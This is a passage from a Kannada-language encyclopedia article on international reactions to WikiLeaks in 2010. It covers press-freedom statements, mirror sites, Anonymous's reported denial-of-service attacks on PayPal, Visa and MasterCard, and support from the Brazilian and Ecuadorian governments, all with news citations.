ಹೇಳಿತು. ಅದು, "ರಾಷ್ಟ್ರಪತಿ ರಿಚರ್ಡ್ ನಿಕ್ಸನ್ ತನ್ನ ರಾಜವಲ್ಲಭರನ್ನು ಪೆಂಟಗನ್ ಪತ್ರಗಳನ್ನು ಬಯಲು ಮಾಡಿದ ಡೆನಿಯಲ್ ಎಲ್ಸಬರ್ಗ್ ಹಾಗೂ ''ನ್ಯೂಯಾರ್ಕ್ ಟೈಮ್ಸ್'' ವರದಿಗಾರ ನೀಲ್ ಶೀಹಾನ್ ಹಿಂದೆ ಕಳಿಸಿದ ನಂತರದಲ್ಲಿ... ಈವರೆಗೂ ಯಾವುದೇ ಕಾರ್ಯನಿರತ ಪತ್ರಕರ್ತ ಮತ್ತು ಆತನ ಸುದ್ದಿಮೂಲವು ಈ ರೀತಿ ಅಸ್ಸಾಂಜೆ ಮತ್ತು ಮ್ಯಾನಿಂಗ್ ಹಿಂದೆ ಒಬಾಮಾನ ಆಡಳಿತದ ಉನ್ನತ ಅಧಿಕಾರಿಗಳು ಬಿದ್ದಂತೆ ಬಿದ್ದಿರಲಿಲ್ಲ."<ref>{{cite web |url=https://www.theatlantic.com/international/archive/2010/12/the-shameful-attacks-on-julian-assange/67440/ |title=The Shameful Attacks on Julian Assange|author=Samuels, David |publisher=The Atlantic |date=3 December 2010 |accessdate=7 December 2010}}</ref> 4 ಡಿಸೆಂಬರ್ 2010ರಂದು, ಸೀಮೆಯಿಲ್ಲದೆ ವರದಿಗಾರರು ವಿಕಿಲೀಕ್ಸ್‌ದತ್ತ ನಿರ್ದೇಶಿಸಲಾದ "ತಡೆಹಿಡಿಯುವುದು, ಸೈಬರ್-ದಾಳಿಗಳು ಹಾಗೂ ರಾಜಕೀಯ ಒತ್ತಡ"ವನ್ನು ಖಂಡಿಸಿದರು. ವಿಕಿಲೀಕ್ಸ್ ಹಾಗೂ ಅದರ ಸ್ಥಾಪಕ ಜೂಲಿಯಾನ್ ಅಸ್ಸಾಂಜೆ ಸಂಬಂಧಿತ ಅಮೇರಿಕನ್ ಪ್ರಾಧಿಕಾರದ ಕೆಲವು ವಿಪರೀತ ಟಿಪ್ಪಣಿಗಳ ಬಗ್ಗೆ ಕೂಡ ಈ ಸಂಸ್ಥೆ ಕಾಳಜಿ ವಹಿಸಿದೆ.<ref name="autogenerated2">{{cite news |title=Wikileaks hounded? |first= |last= |newspaper=CBS News |date=4 December 2010 |url=http://en.rsf.org/wikileaks-hounded-04-12-2010,38958.html |accessdate=5 December 2010 |archive-date=8 ಮಾರ್ಚ್ 2016 |archive-url=https://web.archive.org/web/20160308082630/http://en.rsf.org/wikileaks-hounded-04-12-2010,38958.html |url-status=dead }}</ref> ವಿಕಿಲೀಕ್ಸ್‌ಯಿಂದ ಪ್ರಕಟಿಸಲಾದ ಬಯಲಾದ ಯುಎಸ್ ರಾಜತಾಂತ್ರಿಕ ತಂತಿ ವಾರ್ತೆಗೆ ಒಂದು ಕನ್ನಡಿ ಜಾಲತಾಣದ ಆತಿಥೇಯ ಮಾಡುವುದಾಗಿ ಈ ಸಂಸ್ಥೆ ಡಿಸೆಂಬರ್ 21ರಂದು ಘೋಷಿಸಿತು.<ref>{{cite web |url=http://www.journalism.co.uk/news/reporters-without-borders-to-host-mirror-site-for-wikileaks/s2/a542061/ |title=Reporters Without Borders to host mirror site for WikiLeaks |date=21 December 2010 |accessdate=21 December 2010}}</ref> ಆನ್‌ಲೈನ್ ವಿದೇಶಿ ಸಂಗತಿಗಳ ಪತ್ರಿಕೆ ''ದಿ ಡಿಪ್ಲೊಮ್ಯಾಟ್‌'' ನಲ್ಲಿ ಪ್ರಕಟಿಸಿದ "ಒನ್ಲಿ ವಿಕಿಲೀಕ್ಸ್ ಕ್ಯಾನ್ ಸೇವ್ ಯುಎಸ್ ಪಾಲಿಸಿ" ಶೀರ್ಷಕೆಯ ಲೇಖನದಲ್ಲಿ, ವಿಕಿಲೀಕ್ಸ್ ಬಯಲುಗಳ ಆಸಕ್ತಿಯ ಮೂಲ ಇತ್ತೀಚಿನ ಯುಎಸ್ ಆಢಳಿತಗಳ ಸ್ವಾಭಾವಿಕ ಅಪ್ರಾಮಾಣಿಕತೆಯಲ್ಲಿದೆ ಎಂದು ಮಾಜಿ ಬಹು-ಕಾಲದ ಸಿಐಎ ಭಯೋತ್ಪಾದಕತೆ ಪ್ರತಿಯಾದ ತಜ್ಞ ಮೈಕಲ್ ಶುವರ್ ಹೇಳಿದರು. "ಇತ್ತೀಚಿನ ವರ್ಷಗಳಲ್ಲಿ, ಯುಎಸ್ ಸಾರ್ವಜನಿಕರು ತನ್ನ ನಾಯಕರಿಂದ ಮತ್ತೆ ಮತ್ತೆ ಅಮೇರಿಕನರನ್ನು ಕಪ್ಪು ಬಿಳಿಯಂತೆ ಎಂದು ಹೇಳುವುದನ್ನು ಕೇಳುತ್ತಿದ್ದಾರೆ," ಹೀಗೆ ರಾಷ್ಟ್ರಪತಿಗಳಾದ [[ಬಿಲ್ ಕ್ಲಿಂಟನ್]], [[ಜಾರ್ಜ್ ಡಬ್ಲ್ಯು. ಬುಷ್|ಜಾರ್ಜ್ ಡಬ್ಲೂ. ಬುಷ್]] ಹಾಗೂ ಬಾರಕ್ ಒಬಾಮರನ್ನು ಉಲ್ಲೇಖಿಸಿ ಶೂವರ್ ಬರೆದಿದ್ದಾರೆ.<ref>{{cite web|url=http://the-diplomat.com/2010/12/06/only-wikileaks-can-save-obama-policy |title=When WikiLeaks Meets US Policy |publisher=The Diplomat |date=|accessdate=7 December 2010}}</ref> ಇವಾಣ್ ಹ್ಯೂಗ್ಸ್, wired.com ನ ಪ್ರಮುಖ ಸಂಪಾದಕ "ವೈ ವಿಕಿಲೀಕ್ಸ್ ಇಸ್ ಗುಡ್ ಫೊರ್ ಅಮೇರಿಕ" ಎಂಬ ಶೀರ್ಷಿಕೆಯಲ್ಲಿ ಒಂದು ಆನ್‌ಲೈನ್ ಸಂಪಾದಕೀಯವನ್ನು ವಿಕಿಲೀಕ್ಸ್ ಬೆಂಬಲಿಸಿ ಪ್ರಕಟಿಸಿದ್ದಾರೆ. ವಿಕಿಲೀಕ್ಸ್ ವೈಯರ್ಡ್ ಅನ್ನು ಗುರುತಿಸುವುದಲ್ಲಿ ಸಹಾಪರಾಧಿತ್ವ ಹೊಂದಿದೆ ಎಂದು ಆರೋಪಿಸಿ ಮತ್ತು ಬ್ರ್ಯಾಡ್ಲಿ ಮ್ಯಾನಿಂಗ್‌ನ ಬಂಧನ ಇದ್ದು, ''ವೈಯರ್ಡ್'' ಹಾಗೂ ವಿಕಿಲೀಕ್ಸ್‌ನ ಮಧ್ಯೆ ಗದ್ದಲಕ್ಕೆಡೆ ಮಾಡುವ ಸಂಬಂಧಗಳಿದ್ದರೂ ಸಹ, "ವಿಕಿಲೀಕ್ಸ್ ನಮ್ಮ ಪ್ರಜಾಪ್ರಭುತ್ವವನ್ನು ಉತ್ತಮಗೊಳಿಸುತ್ತದೆ, ದುರ್ಬಲವಾಗಿಸೊಲ್ಲ" ಎಂದು ಹ್ಯೂಗ್ಸ್ ವಾದಿಸಿದರು. "ಪ್ರಸ್ತುತ ಸಮಯದಲ್ಲಿ ನಾವು ಎದುರಿಸುವ ಅತಿ ದೊಡ್ಡ ಭೀತಿ ಎಂದರೆ ವಿಕಿಲೀಕ್ಸ್ ಈಗಾಗಲೆ ಚೆಲ್ಲಿದ ಮಾಹಿತಿ ಹಾಗೂ ಮುಂದೆ ಚೆಲ್ಲಬಹುದಾದ ಮಾಹಿತಿಯ ಬಗ್ಗೆ ಅಲ್ಲ, ಆದರೆ ಅದರಿಂದ ಆಗುವ ಪ್ರತಿಗಾಮಿ ಪ್ರತಿಕ್ರಿಯೆ ಸಂಯುಕ್ತ ರಾಷ್ಟ್ರದಲ್ಲಿ ಬೇಳೆಯುತ್ತಿದ್ದು, ಕಾನೂನಿನ ನಿಯಮ ಧಿಕ್ಕರಿಸುವ ವಚನಗಳ ಹಾಗೂ ನಮ್ಮ ಮುಕ್ತ ಮಾತಿನ ಪರಂಪರೆಗೆ ಗಮನಿಸದಿದ್ದಲ್ಲಿ ತೊಂದರೆಯುಂಟಾಗ ಬಹುದು" ಎಂದು ಅವರು ಹೇಳಿದರು.<ref>{{cite web|author=|url=https://www.wired.com/threatlevel/2010/12/wikileaks-editorial/ |title=Why WikiLeaks Is Good for America &#124; Threat Level |publisher=Wired.com |date=4 January 2009 |accessdate=8 December 2010}}</ref> [[File:Wikileaks Rally Hobart 2010 2.jpg|right|thumb|ಜೂಲಿಯನ್ ಅಸಾಂಜ್‌ದತ್ತ ಆಸ್ಟ್ರೇಲಿಯನ್ ಸರ್ಕಾರದ ವರ್ತನೆಯನ್ನು ವಿರೋಧಿಸಿ ಆಸ್ಟ್ರೇಲಿಯದಲ್ಲಿ ಡಿಸೆಂಬರ್ 2010ರ ಸಂಘಟನೆ]] ಕೆಲವು ಆಥಿತೇಯ ಕಂಪನಿಗಳು ತಮ್ಮ ಸೇವೆಗಳನ್ನು ಕಂಪನಿಯೊಂದಿಗೆ ನಿಲ್ಲಿಸಿದ ನಂತರ ವಿಕಿಲೀಕ್ಸ್‌ ಅನ್ನು ಪ್ರತಿಬಿಂಬಿಸುವ ಜಾಲತಾಣಗಳು 200ಗಿಂತ ಹೆಚ್ಚು ಹುಟ್ಟಿದವು ಎಂದು ದಿ ನ್ಯೂಯೋರ್ಕ್ ಟೈಮ್ಸ್ ವರದಿಸಿತು.<ref>{{cite web|url=http://www.upi.com/Top_News/US/2010/12/06/More-than-200-sites-copy-WikiLeaks-content/UPI-97061291643698/ |title=More than 200 sites copy WikiLeaks content |publisher=UPI.com |date=25 October 2010 |accessdate=8 December 2010}}</ref> ಡಿಸೆಂಬರ್ 5 ರಂದು, "ಅನಾಮಧೇಯ" ಎಂದು ಪರಿಚಿತವಾಗಿದ್ದ ಕ್ರಾಂತಿಕಾರಿಗಳ ಹಾಗೂ ಕೊಚ್ಚುಗರ ಒಂದು ಸಮೂಹವು ವಿಕಿಲೀಕ್ಸ್ ವಿರೋದ್ಧಿಸುವ ಕಂಪನಿಗಳ ಜಾಲತಾಣಗಳ ಮೇಲೆ ''ಆಪರೇಷನ್ ಅವೆಂಜ್ ಅಸ್ಸಾಂಜೆ‌'' ನ ಭಾಗವೆಂದು ದಾಳಿ ಎಸಗಲು ಬೆಂಬಲಿಗರಿಗೆ ಕರೆ ನೀಡಿದರು.<ref>{{cite web |url=http://thelede.blogs.nytimes.com/2010/12/06/latest-updates-on-leak-of-u-s-cables-day-9/#operation-payback-plans-attacks-on-paypal |title=Latest Updates on Leak of U.S. Cables, Day 9 |work=The New York Times |first=Robert |last=Mackey |date=6 December 2010 |accessdate=7 December 2010}}</ref> ವಿಕಿಲೀಕ್ಸ್‌ಗೆ ತಮ್ಮ ದೇಣಿಗೆಗಳ ಪರಿಷ್ಕರಣವನ್ನು ನಿಲ್ಲಿಸಿದ ನಿರ್ಧಾರಕ್ಕೆ ಪೆಪಾಲ ಅನ್ನು ಗುರಿ ಮಾಡಲಾಗಿದೆ.<ref>{{cite web |url=http://www.theregister.co.uk/2010/12/06/anonymous_launches_pro_wikileaks_campaign/ |title=Anonymous attacks PayPal in 'Operation Avenge Assange' |date=6 December 2010 |accessdate=7 December 2010 |first=John |last=Leyden |publisher=The Register |work=theregister.co.uk}}</ref><ref>{{cite web|title=Operaton Avenge Assange manifesto|url=https://uloadr.com/u/4.png|accessdate=7 December 2010|archive-date=13 ಡಿಸೆಂಬರ್ 2010|archive-url=https://web.archive.org/web/20101213031528/https://uloadr.com/u/4.png|url-status=dead}}</ref> ವಿಕಿಲೀಕ್ಸ್ ಅನ್ನು ಬೆಂಬಲಿಸದ ಕಂಪನಿಗಳ ಮೇಲೆ ಒಂದು ಯೋಜನಾತ್ಮಕ ದಾಳಿ ಹೂಡುವ ಪ್ರಯತ್ನವನ್ನು ಅನಾಮಧೇಯ ಜೊತೆ ಹಿಂದೆ ಇತರ ಯೋಜನೆಗಳಲ್ಲಿ ಕೆಲಸ ಮಾಡಿದ ಗ್ರೆಗ್ ಹೌಶ್, ಗಮನಿಸಿ ಹೇಳಿದರು. ವಿಕಿಲೀಕ್ಸ್‌ಗೆ ತೋರಿಸಿಲಾದ ಬೆಂಬಲದ ಸಂಬಂಧದಲ್ಲಿ, ಮಿ. ಹೌಶ್ ಹೇಳಿದರು;"ಕಾರಣ ಆಶ್ಚರ್ಯಕರವಾಗಿ ಸರಳವಾಗಿದೆ, ಮಾಹಿತಿ ಮುಕ್ತವಾಗಿರ ಬೇಕು ಮತ್ತು ಅಂತರ್ಜಾಲ ಮುಕ್ತವಾಗಿರ ಬೇಕು ಎಂದು ನಾವೆಲ್ಲ ನಂಬುತ್ತೇವೆ."<ref name="somaiya" /> 8 ಡಿಸೆಂಬರ್ 2010 ರಂದು, ಅನಾಮಧೇಯರಿಂದ ಸೇವೆಗಳ-ನಿರಾಕರಣೆ ದಾಳಿಯ ಬಲಿ ಪೇಪಾಲ್ ಜಾಲತಾಣ ಆಗಿತ್ತು.<ref>{{cite web |url=https://www.theguardian.com/world/2010/dec/08/wikileaks-visa-mastercard-operation-payback |title=WikiLeaks supporters disrupt Visa and MasterCard sites in 'Operation Payback' |date=9 December 2010 |accessdate=9 December 2010 |author=Esther Addley and Josh Halliday |work=The Guardian |location=UK |work=guardian.co.ul}}</ref><ref>{{cite web|url=http://www.pcmag.com/article2/0,2817,2374023,00.asp |title='Anonymous' Launches DDoS Attacks Against WikiLeaks Foes |work=pcmag.com |publisher=[[PC Magazine]] |first=Leslie |last=Horn |date=8 December 2010 |accessdate=9 December 2010}}</ref><ref>{{cite web|url=http://www.boingboing.net/2010/12/08/in-pro-wikileaks-act.html |title=Continuing pro-Wikileaks DDOS actions, Anonymous takes down PayPal.com |author=Xeni Jardin |date=8 December 2010 |accessdate=9 December 2010 |work=boingboing.net |publisher=[[Boing Boing]]}}</ref> ನಂತರ ಅದೇ ದಿನ, ವಿಕಿಲೀಕ್ಸ್‌ಗೆ ಹಣ ಕೂಡಿಸುತ್ತಿರುವ ಸಂಸ್ಥೆಗೆ ಪೇಪಾಲ ತನ್ನ ಖಾತೆಯಲ್ಲಿ ಉಳಿದ ಎಲ್ಲ ಹಣವನ್ನು ಬಿಡುಗಡೆ ಮಾಡುವುದು ಎಂದು ತನ್ನ ಬ್ಲಾಗ್‌ನಲ್ಲಿ ಘೋಷಿಸಿತು.<ref>{{cite web |url=https://www.thepaypalblog.com/2010/12/updated-statement-about-wikileaks-from-paypal-general-counsel-john-muller/ |title=Updated Statement about WikiLeaks from PayPal General Counsel, John Muller |first=John |last=Muller |work=thepaypalblog.com |publisher=[[PayPal]] |date=8 December 2010 |accessdate=9 December 2010}}</ref><ref>{{cite web |url=http://erictric.com/2010/12/08/paypal-vows-to-release-wikileaks-funds-account-to-remain-blocked/ |title=PayPal Vows to Release WikiLeaks Funds, Account to Remain Blocked |first=Bertrand |last=Vasquez |date=8 December 2010 |accessdate=9 December 2010 |work=erictric.com |publisher=[[Erictric]] |archive-date=12 ಏಪ್ರಿಲ್ 2011 |archive-url=https://web.archive.org/web/20110412092610/http://erictric.com/2010/12/08/paypal-vows-to-release-wikileaks-funds-account-to-remain-blocked/ |url-status=dead }}</ref> ಅದೇ ದಿನ, ವಿಕಿಲೀಕ್ಸ್ ಬೆಂಬಲಿಗರಿಂದ ವಿಸಾ ಹಾಗು ಮಾಸ್ಟರ್‌ ಕಾರ್ಡ್ ಜಾಲತಾಣಗಳ ಮೇಲೆ ದಾಳಿಯಾಯಿತು. ಅಷ್ಟರಲ್ಲಿ WikiLeaks.com ನಲ್ಲಿ ಇನ್ಮುಂದೆ ಸಿಗಲಾಗದ ವಿಷಯಗಳನ್ನು ಅಥಿತೇಯ ಮಾಡುವ 1,200 ಗಿಂತ ಹೆಚ್ಚು ಪ್ರತಿಬಿಂಬ ಜಾಲತಾಣಗಳು ಸ್ಥಾಪಿತವಾಗಿತ್ತು. ಅನಾಮಧೇಯ ಒಂದು ಹೊಸ ಹೇಳಿಕೆ ಕೂಡ ಪ್ರಕಟಿಸಿದರು; "ವಿಕಿಲೀಕ್ಸ್ ಜೊತೆ ಬಹಳಷ್ಟು ಸಂಲಗ್ನತೆ ಇಲ್ಲವಾದಕ್ಕೆ , ನಾವು ಒಂದೇ ಬಗೆಯ ಕಾರಣಗಳಿಗೆ ಹೋರಾಡುತ್ತೇವೆ. ನಮಗೆ ಪಾರದರ್ಶಕತೆ ಬೇಕು, ಹಾಗೂ ನಾವು ಪರಾಮರ್ಶಕತೆಯನ್ನು ವಿರೋಧಿಸುತ್ತೇವೆ...ಇದೇ ಕಾರಣಕ್ಕೆ ಜಾಗರೂಕತೆಯನ್ನು ಉದ್ಭವಿಸಲು ನಮ್ಮ ಸಂಪನ್ಮೂಲಗಳನ್ನು ಬಳಸ ಬೇಕೆಂದು ಬಯಸುತ್ತೇವೆ, ನಮ್ಮ ಜಗತ್ತನ್ನು ಸ್ವತಂತ್ರ್ಯೆ ಹಾಗು ಪ್ರಜಾಪ್ರಭುತ್ವದತ್ತ ಸಾಗಿಸುವಲ್ಲಿ ಸಹಾಯ ಮಾಡುವರನ್ನು ಬೆಂಬಲಿಸಿ, ಹಾಗೂ ವಿರುದ್ಧವಿರುವವರ ಮೇಲೆ ದಾಳಿ ಎಸಗುತ್ತೇವೆ."<ref>{{cite web |author= |url=http://beta.ca.news.yahoo.com/visa-mastercard-targeted-wikileaks-allies.html |title=Visa, MasterCard targeted by WikiLeaks allies |publisher=Beta.ca.news.yahoo.com |date= |accessdate=10 December 2010 |archive-date=22 ಡಿಸೆಂಬರ್ 2010 |archive-url=https://web.archive.org/web/20101222021208/http://beta.ca.news.yahoo.com/visa-mastercard-targeted-wikileaks-allies.html |url-status=dead }}</ref> ಡಿಸೆಂಬರ್ 2010ರಲ್ಲಿ, ವಿಕಿಲೀಕ್ಸ್ ಬಿಡುಗಡೆ ಮಾಡಿದ ವಿಷಯದ ಬಗ್ಗೆ ಅಂತರ್‌ರಾಷ್ಟ್ರೀಯ ಕಾಳಜಿ ತೋರಿಸಿ ಕೂಡ ಅಂತರ್ಜಾಲ ಸಮಾಜ ಹೇಳಿಕೆ ನೀಡಿತು, "ಎಲ್ಲ ಅಂತರ್ಜಾಲದ ಜಾಲತಾಣಗಳ ಲಭ್ಯತೆಯ ಕಾನೂನುಗಳು ಹಾಗೂ ಕರಾರುಗಳ ತರಹ ಇದನ್ನು ಅನ್ವಯಿಸಬೇಕೆಂದು ನಾವು ನಂಬಿದ್ದೇವೆ" ಮತ್ತು "ಮುಕ್ತ ಅಭಿವ್ಯಕ್ತಿಯನ್ನು ಕಂಪ್ಯೂಟರ್ ಹಾರ್ಡ್‌ವೇರ್ ಅಥವಾ ಸಾಫ್ಟ್‌ವೇರ್, ಟೆಲಿಕಂಮುನಿಕ್ಯೇಷನ್ಸ್ ಪೂರ್ವರಚನೆ, ಅಥವಾ ಅಂತರ್ಜಾಲದ ಇತರ ಅಗತ್ಯ ಅಂಶಗಳು ಯಾವುದೇ ಸರ್ಕಾರಿ ಅಥವಾ ಖಾಸಗಿಯವರ ಮೂಲಕ ನಿಯಂತ್ರಿಸಪಡಲ್ಬಾರದು." "ಅದನ್ನು [ವಿಕಿಲೀಕ್ಸ್] ದ್ವೇಷದಿಂದ ಅಂತರ್ಜಾಲದಿಂದ ತೆಗೆಯಲು ಬಯಸಿದರೆ, ಅಂತಹ ಘಟಕಗಳ (ಯಾವುದಾದ್ದರು ಇದ್ದಲ್ಲಿ) ಅನುಸರಣೆ ಮಾಡಿ ಅದರ ವಿರುದ್ಧ ಕಾನೂನು ಕ್ರಮ ಜರುಗಿಸಲಾಗುತ್ತದೆ" ಎಂದು ಐಎಸ್‌ಒಸಿ ಸೂಕ್ತ ಕ್ರಮಗಳ ಕರೆ ನೀಡಿತು, ಕಾರಣ ಸಂಪರ್ಕವನ್ನು ತಡೆಹಿಡಿಯುವುದು ಬರಿ "ವಿಶ್ವವ್ಯಾಪಕ ಅಂತರ್ಜಾಲ ಹಾಗೂ ಅದರ ಕಾರ್ಯಕಾರಿತ್ವದ ಸಮಗ್ರತೆಯನ್ನು ದುರ್ಬಲಗೊಳಿಸುವುದು" ಅಷ್ಟೆ.<ref>{{cite web |url=http://www.eweekeurope.co.uk/news/isoc-wikileaks-attacks-threaten-free-expression-15294 |title=ISOC: WikiLeaks Attacks Threaten Free Expression |first=Sophie |last=Curtis |work= |publisher=Eweek Europe |date=8 December 2010 |accessdate=10 December 2010 |archive-date=29 ಜುಲೈ 2012 |archive-url=https://archive.is/20120729115352/http://www.eweekeurope.co.uk/news/isoc-wikileaks-attacks-threaten-free-expression-15294 |url-status=dead }}</ref> 8 ಡಿಸೆಂಬರ್ 2010 ರಂದು, ಅಂತರ್‌ರಾಷ್ಟ್ರೀಯ ನಾಗರಿಕ ಸಂಸ್ಥೆ ಆವಾಜ ವಿಕಿಲೀಕ್ಸ್ ಅನ್ನು ಬೆಂಬಲಿಸಿ ಒಂದು ಮನವಿಯನ್ನು ಸಲ್ಲಿಸಿತು, ಮೊದಲ ಕೆಲವು ಘಂಟೆಗಳಲ್ಲಿ ಇದನ್ನು 250 ಸಾವಿರ ಗಿಂತ ಹೆಚ್ಚು ಜನರು ಸಹಿ ಮಾಡಿದರು, 15 ಡಿಸೆಂಬರ್ 2010 ರಷ್ಟರಲ್ಲಿ ಈ ಸಂಖ್ಯೆ 600 ಸಾವಿರಕ್ಕೆ ಏರಿತು.<ref>{{cite web|author=|url=http://avaaz.org/en/wikileaks_petition/ |title=WikiLeaks: Stop the crackdown |publisher=Avaaz.org |date=|accessdate=10 December 2010}}</ref><ref>{{cite web |url=http://www.fr-online.de/politik/spezials/wikileaks---die-enthuellungsplattform/kaempfer-fuer-wikileaks/-/4882932/4910614/-/index.html |title=Kämpfer für Wikileaks |first=Andreas |last=Kraft |work= |publisher=Frankfurter Rundschau |language=German |date=10 December 2010 |accessdate=10 December 2010}}</ref><ref>{{cite web|url=http://news.smh.com.au/breaking-news-world/assange-granted-bail-in-london-but-not-yet-free-20101215-18x1y.html |title=Assange granted bail in London but not yet free |publisher=News.smh.com.au |date=|accessdate=17 December 2010}}</ref> ವಿಕಿಲೀಕ್ಸ್ ಅನ್ನು ಪ್ರತಿರಕ್ಷಿಸುತ್ತಾ ಡಿಸೆಂಬರ್ 2010ದ ಆರಂಭದಲ್ಲಿ [[ನೋಅಮ್ ಚಾಮ್ಸ್ಕೀ|ನೊಮ್ ಚೊಮ್ಸಕಿ]] ಆಸ್ಟ್ರೇಲಿಯದಾದ್ಯಂತ ಪ್ರತಿಭಟನೆಕಾರರು ರಸ್ತೆಗಳಿಗೆ ಇಳಿಯುವ ಯೋಜನೆಯಲ್ಲಿ ತನ್ನ ಬೆಂಬಲವನ್ನು ನೀಡಿದರು.<ref>{{cite web |url= http://www.greenleft.org.au/node/46378|title=Noam Chomsky backs Wikileaks protests in Australia |author= [[Green Left Weekly]]|date=10 December 2010 |work= |publisher=[[Green Left Weekly]] |accessdate=11 December 2010}}</ref> ''ಡೆಮೊಕ್ರೆಸಿ ನೌ'' ಗೆ ಒಂದು ಸಂದರ್ಶನದಲ್ಲಿ, ಚೋಮ್ಸಕಿ ಸರ್ಕಾರದ ಪ್ರತಿಕ್ರಿಯೆಗೆ ವಿಮರ್ಶಿಸುತ್ತಾ ಹೇಳಿದರು, "ಬಹುಶ ಇದೊಂದು ಅತಿ ಅನಿರೀಕ್ಷಿತವಾದ ಪ್ರಕಟನೆ ... ಯುಎಸ್ ಸರ್ಕಾರ - ಹಿಲರಿ ಕ್ಲಿಂಟನ್, ಇತರರು - ಮತ್ತು ರಾಜತಾಂತ್ರಿಕ ಸೇವೆಗಳಿಂದ ಕೂಡ ಪ್ರಜಾತಂತ್ರದ ಪ್ರತಿ ಇದು ಕಟುವಾದ ದ್ವೇಷತ್ವವನ್ನು ಬಯಲು ಮಾಡಿತು."<ref>{{cite web |url=http://www.chomsky.info/interviews/20101130.htm |title=WikiLeaks Cables Reveal "Profound Hatred for Democracy on the Part of Our Political Leadership" |publisher=Noam Chomsky website |accessdate=25 December 2010 |archive-date=29 ಡಿಸೆಂಬರ್ 2010 |archive-url=https://web.archive.org/web/20101229234140/http://chomsky.info/interviews/20101130.htm |url-status=dead }}</ref> ====ಸರ್ಕಾರಗಳಿಂದ ಮೆಚ್ಚುಗೆ==== {{Flag|Brazil}}:ಅಧ್ಯಕ್ಷ ಲೂಯಿಸ್ ಇನಾಷಿಯೋ ಲ್ಯೂಲಾ ಡಾ ಸಿಲ್ವಾ, ಜೂಲಿಯಾನ್ ಅಸ್ಸಾಂಜೆ‌ಗೆ 2010ರಲ್ಲಿಯ ಯುನೈಟೆಡ್‌ ಕಿಂಗ್‌ಡಮ್‌ನಲ್ಲಿ ಅಸ್ಸಾಂಜೆ‌ ಬಂಧನವನ್ನು ಖಂಡಿಸಿ ತಮ್ಮ ಬೆಂಬಲವನ್ನು ಘೋಷಿಸಿದ್ದರು. ವಿಕಿಲೀಕ್ಸ್‌ಗೆ ಸಂಬಂಧಪಟ್ಟಂತೆ ಲ್ಯೂಲಾ, ಅಮೇರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ರಾಜತಾಂತ್ರಿಕ ವಿಷಯವನ್ನು ನವೆಂಬರ್ ಮತ್ತು ಡಿಸೆಂಬರ್ 2010—ವಿಕಿಲೀಕ್ಸ್ ಪ್ರಕಟಿಸಿತ್ತು ಇದನ್ನು "ಸಾಮಾನ್ಯರಿಗೆ ಸಿಗದ ವಿಷಯ" ಎಂದು ಹೇಳಲಾಗಿತ್ತು.<ref>{{cite web |url=http://news.smh.com.au/breaking-news-world/putin-leads-backlash-over-wikileaks-boss-detention-20101209-18rgi.html |title=Putin leads backlash over WikiLeaks boss detention |date=9 December 2010 |accessdate=9 December 2010 | first=Maria |last=Antonova |work=Sydney Morning Herald}}</ref><ref>{{cite web |url=https://www.youtube.com/watch?v=7xAY7KkcUYk |title=President Lula Shows Support for Wikileaks (video available) |date=9 December 2010}}</ref> ಅವರು ಒಂದು ಹೆಜ್ಜೆ ಮುಂದಕ್ಕೆ ಹೋಗಿ ಅಸ್ಸಾಂಜೆಯವರ ಬಂಧನವನ್ನು "ಅಭಿವ್ಯಕ್ತಿಯ ಸ್ವಾತಂತ್ರ್ಯದ ಮೇಲಿನ ಆಕ್ರಮಣ" ಎಂದು ಟೀಕಿಸಿದರು.<ref>{{cite web |url=http://www.bbc.co.uk/news/world-latin-america-11966193 |title=Wikileaks: Brazil President Lula backs Julian Assange |date=10 December 2010 |accessdate=10 December 2010 | first= |last= |work=BBC News }}</ref> {{Flag|Ecuador}}:ನವೆಂಬರ್ 2010ರ ಕೊನೆಯಲ್ಲಿ ಇಕ್ವೆಡಾರ್ ಸರ್ಕಾರದ ಪ್ರತಿನಿಧಿಯೊಬ್ಬರು ಜೂಲಿಯಾನ್ ಅಸಾಂಜ್‌ಗೆ ಇಕ್ವೆಡಾರ್‌ನಲ್ಲಿ ವಾಸ್ತವ್ಯಕ್ಕಾಗಿ ಅವಕಾಶವನ್ನು ನೀಡುವುದಾಗಿ ಹೇಳಿಕೊಂಡರು. ವಿದೇಶಿ ಮಂತ್ರಿ ಕಿಂಟೊ ಲ್ಯೂಕಾಸ್ "ಇಕ್ವೇಡಾರ್‌ ಅಸಾಂಜ್‌ ಅವರನ್ನು ಬರುವಂತೆ ಕೇಳಿಕೊಳ್ಳುವುದಾಗಿ ಹೇಳಿದರು. ಅಲ್ಲದೆ ಇಲ್ಲಿ ಬಂದರೆ ಅವರು ತಮ್ಮಲ್ಲಿರುವ ಎಲ್ಲ ಮಾಹಿತಿಯನ್ನೂ ಇಲ್ಲಿಂದಲೇ ಹಂಚಿಕೊಳ್ಳಬಹುದು. ಕೇವಲ ಅಂತರ್ಜಾಲದಲ್ಲಿ ಮಾತ್ರವಲ್ಲದೇ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸಾರ್ವಜನಿಕ ಫೋರಮ್‌ಗಳಲ್ಲೂ ಮಾಹಿತಿಯನ್ನು ಪ್ರಕಟಪಡಿಸಬಹುದು" ಎಂದು ಹೇಳಿದರು.<ref>[http://www.jpost.com/International/Article.aspx?id=197327 Ecuador offers asylum to ವಿಕಿಲೀಕ್ಸ್ founder] The Jerಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನalem Post 11/30/2010</ref> ಲ್ಯೂಕಾಸ್ ಅವರು ವಿಕಿಲೀಕ್ಸ್ ಕುರಿತಾಗಿ ತಮ್ಮ ಮೆಚ್ಚುಗೆಯನ್ನು ವ್ಯಕ್ತಪಡಿಸಿದರು. ಅಲ್ಲದೆ ಅಸಾಂಜ್‌ ತನಗೆ ಬೆಂಬಲ ವ್ಯಕ್ತ ಪಡಿಸುತ್ತಿರುವ ಇವರನ್ನು "ಇವರು ದೃಢವಾಗಿ ಕತ್ತಲು ಪ್ರದೇಶದಿಂದ ಬೆಳಕಿನ ಮಾಹಿತಿಯನ್ನು ಪಡೆಯಲು ತವಕ ಪಡುತ್ತಿರುವವರು" ಎಂದು ಪ್ರಶಂಸಿದರು.<ref>[http://english.aljazeera.net/news/americas/2010/11/2010113033515743921.html Ecuador offers refuge to ಅಸ್ಸಾಂಜೆ] 30 Nov 2010 Al Jazeera</ref> ಮುಂದಿನ ದಿನಗಳಲ್ಲಿ, ಅಧ್ಯಕ್ಷ ರಫೆಲ್ ಕೊರ್ರಿಯಾ, ತನ್ನ ಆಡಳಿತವು ಅಸಾಂಜ್‌ಗೆ ಯಾವುದೇ 